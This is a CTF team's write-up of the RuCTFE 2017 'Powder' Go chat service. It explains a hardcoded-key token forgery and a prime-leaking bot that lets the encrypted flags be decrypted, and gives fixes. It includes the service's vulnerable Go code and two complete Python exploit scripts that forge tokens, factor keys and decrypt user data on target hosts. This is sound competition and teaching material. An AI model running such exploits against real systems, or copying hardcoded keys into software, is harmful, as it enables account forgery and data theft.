Saarsec

saarsec

Schwenk and pwn

RuCTFE 2017 Powder Writeup

RuCTFE 2017: Powder Writeup

Introduction

Powder was a web service written in Go. It allowed users to chat with each other and also with bot users. The flags were stored encrypted in the address field of each profile.

Authentication

After each login, the Server returned a token, which was sent back by the client in subsequent requests. The token was created using the username and was used to prove to the server that a former login using the given username had been successful. But how was the token generated?

func (crypto *Crypto) MakeToken(login string) string {
    block, err := aes.NewCipher(crypto.masterKey)
    if err != nil {
        panic(err)
    }

    rand.Seed(time.Now().Unix() / 60)

    mac := hmac.New(sha256.New, crypto.masterKey)
    loginBytes := []byte(login)
    tokenBytes := make([]byte, mac.Size() + aes.BlockSize + len(loginBytes))

    iv := tokenBytes[mac.Size():mac.Size() + aes.BlockSize]

    rand.Read(iv)

    stream := cipher.NewCTR(block, iv)
    stream.XORKeyStream(tokenBytes[aes.BlockSize + mac.Size():], loginBytes)
    mac.Write(tokenBytes[mac.Size():])

    copy(tokenBytes[:mac.Size()], mac.Sum(nil)[:])

    return hex.EncodeToString(tokenBytes)
}

The token consisted of three parts: hmac + IV + ciphertext First, the IV was generated randomly and the ciphertext was created by encrypting the username with AES-CTR using the generated IV and a hardcoded key. Then the sha256-hmac was calculated of IV+ciphertext by using the hardcoded key again.

func NewCrypto() *Crypto {
    return &Crypto{
        masterKey: []byte("DONT_FORGET_TO_CHANGE_IT"),
    }
}

The obvious flaw here was the hardcoded key and therefore all other teams used the same key as we did, so we were able to forge arbitrary tokens using the key "DONT_FORGET_TO_CHANGE_IT". The obvious fix was to change the key to an unknown one.

When we went to the profile page using a forged token, the server decrypted the address field of the user specified by the token and we received the flag.

Exploit:

 
#!/usr/bin/python
import hashlib
import json
import os
from Crypto.Cipher import AES
from Crypto.Util import Counter
from binascii import hexlify, unhexlify
from hmac import new

import requests


def create_token(key, name):
    iv = os.urandom(16)
    encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128 , initial_value=long(iv.encode("hex"),16)) )
    cipher = encryption_suite.encrypt(name)
    hmac = new(key, msg=iv+cipher, digestmod=hashlib.sha256).digest()
    return hexlify(hmac + iv + cipher)

def decrypt_token(key, token):
    token = unhexlify(token)
    iv = token[32:32+16]
    cipher = token[32+16:]
    encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128 , initial_value=long(iv.encode("hex"),16)))
    plain = encryption_suite.decrypt(cipher)
    hmac = new(key, msg=token[32:], digestmod=hashlib.sha256).digest()
    return plain, hmac == token[:32]


def exploit(target):

    s = requests.session()

    key = "DONT_FORGET_TO_CHANGE_IT"

    data = s.get("http://{}:8082/api/v1/users".format(target), timeout=5).text

    users = json.loads(data)["users"]

    for user in users:
        name = user["login"]
        print s.get("http://{}:8082/api/v1/user/profile".format(target), headers={"token": create_token(key, name)}, timeout=2).text

User List

It was possible to obtain a list of recently registered users by accessing /api/v1/users. This provided for each user the fields login, fullname,picture,public and address. login was the username, fullname and picture were values that did not matter. public was a integer generated at signup and address held the flag, but encrypted. This list only returned only the 10 newest users by default but increasing this limit by providing the GET paramter limit with a higher value made exploits more effective.

Encryption

 
func (*Crypto) NewKeys() (string, string, string, string) {
    prime1, _ := cryptoRand.Prime(cryptoRand.Reader, 512)
    prime2, _ := cryptoRand.Prime(cryptoRand.Reader, 512)
    prime3 := TrickyKey(prime2)
    public := big.NewInt(1)
    public.Mul(public, prime1)
    public.Mul(public, prime2)
    public.Mul(public, prime3)
    return prime1.String(), prime2.String(), prime3.String(), public.String()
}

The generation of public was done by multiplying three primes prime1, prime2 and prime3 where prime1 and prime2 were random 512 bit primes.

 
 func TrickyKey(base *big.Int) *big.Int {
    result := &big.Int{}
    step, _ := cryptoRand.Prime(cryptoRand.Reader, 32)
    result.Add(base, step)

    for {
        if result.ProbablyPrime(10) {
            return result
        }
        step, _ = cryptoRand.Prime(cryptoRand.Reader, 32)
        result.Add(result, step)
    }
}

prime3 was generated by taking the value of prime2 and adding random 32 bit primes until the result formed again a prime. Up to then, public and the primes seemed to be useless until we found out how the flags were encrypted.

 
func (crypto *Crypto) Encrypt(user *User, data string) string {
    prime1 := crypto.Hash("", user.Properties["prime1"])
    prime2 := crypto.Hash("", user.Properties["prime2"])
    prime3 := crypto.Hash("", user.Properties["prime3"])

    return hex.EncodeToString(innerEncrypt(prime3,
                              innerEncrypt(prime2,
                              innerEncrypt(prime1, []byte(data)))))
}

The encrypted address was created by encrypting the flag with the md5-hash of prime3, then the result was encrypted using the hash of prime2 and this result was then encrypted using the hash of prime1. The encryptions used again AES-CTR with randomly generated IVs prepended to each encryption output.

As the first vulnerability was fixed by most teams we hoped that we find a way to obtain the primes which would have allowed us to steal flags again by decrypting the public available address of the gameserver created users.

But there was this bot-feature which we ignored until then. If you were lucky and/or sent many messages the bot, which was usually activated for the gameserver created users, replied you a message containing prime1:

OK, I'll give what you want tonight. Let's meet here \xe2\x80\x94 11297249021808963085101011438644760426159242657540879787659093881930011073546755933906196347958709572600298992689406997351365078684715791671939409803794273

As public and prime1 were known and public = prime1 * prime2 * prime3 holds, we could calculate public / prime1 and factorize the result to learn prime2 and prime3. This worked well using factorint from the python sympy module.

Our fix was to add a constant salt to the hash, as an attacker is then not able to generate the decryption key using the primes:

prime1 := crypto.Hash("saarsec.rocks", user.Properties["prime1"])
prime2 := crypto.Hash("saarsec.rocks", user.Properties["prime2"])
prime3 := crypto.Hash("saarsec.rocks", user.Properties["prime3"])

Our exploit:

#!/usr/bin/python
import hashlib
import json
import os
import random
import re
import string
import sys
from Crypto.Cipher import AES
from Crypto.Util import Counter
from binascii import unhexlify, hexlify

import requests
from sympy.ntheory import factorint


def md5(prime):
    salt = ""
    x = hashlib.md5(salt)
    x.update(prime)
    return x.digest()


def inner_decrypt(key, payload):
    iv = payload[:16]
    cipher = payload[16:]
    encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=long(iv.encode("hex"), 16)))
    return encryption_suite.decrypt(cipher)


def inner_encrypt(key, payload):
    iv = os.urandom(16)
    cipher = payload
    encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=long(iv.encode("hex"), 16)))
    return iv + encryption_suite.encrypt(cipher)


def decrypt(prime1, prime2, prime3, ciphertext_hex):
    ciphertext = unhexlify(ciphertext_hex)
    return hexlify(
        inner_decrypt(md5(str(prime1)), inner_decrypt(md5(str(prime2)), inner_decrypt(md5(str(prime3)), ciphertext))))


def encrypt(prime1, prime2, prime3, flag_hex):
    flag = unhexlify(flag_hex)
    return hexlify(
        inner_encrypt(md5(str(prime3)), inner_encrypt(md5(str(prime2)), inner_encrypt(md5(str(prime1)), flag))))


regex = re.compile("\d{100,}")

s = requests.session()

target = sys.argv[1]

token = json.loads(s.post("http://{}:8082/api/v1/auth/signup".format(target),
                          data={'login': "".join(random.choice(string.lowercase) for _ in range(10)),
                                'password': "".join(random.choice(string.lowercase) for _ in range(10))}, timeout=3).text)["token"]

r = s.get("http://{}:8082/api/v1/users?limit=200".format(target), headers={"token": token}, timeout=3)
users = json.loads(r.text)
for user in users['users']:
    if len(user['address']) is not 0:
        address = user['address']
        login = user['login']
        i = 0
        for x in range(100):
            s.post("http://{}:8082/api/v1/conversations".format(target), data={"message": "O9LA", "to": login},
                   headers={"token": token}, timeout=3).text
            if (x % 3) == 2:
                data = s.get("http://{}:8082/api/v1/conversations".format(target), params={"to": login},
                             headers={"token": token}, timeout=3).text
                numbers = regex.findall(data)
                if len(numbers) > 0:
                    prime1 = numbers[0]
                    break
        else:
            continue
        public = user["public"]
        factors = factorint(int(public) / int(prime1))
        if len(factors) == 2:
            prime2 = min(factors)
            prime3 = max(factors)
            address = unhexlify(decrypt(prime1, prime2, prime3, address))
            print(repr(address))

Discussion

The first exploit worked well. Sadly our second exploit was not really efficient, as we had to sent too many messages to get prime1 back. The challenge also taught me to not hardcode the address of our own vulnbox in the exploit script and the distinct difference between digest() and hexdigest(). I really liked about this challenge that both exploits can not be stolen using traffic analysis. Overall, Powder was fun! (As was the whole CTF itself).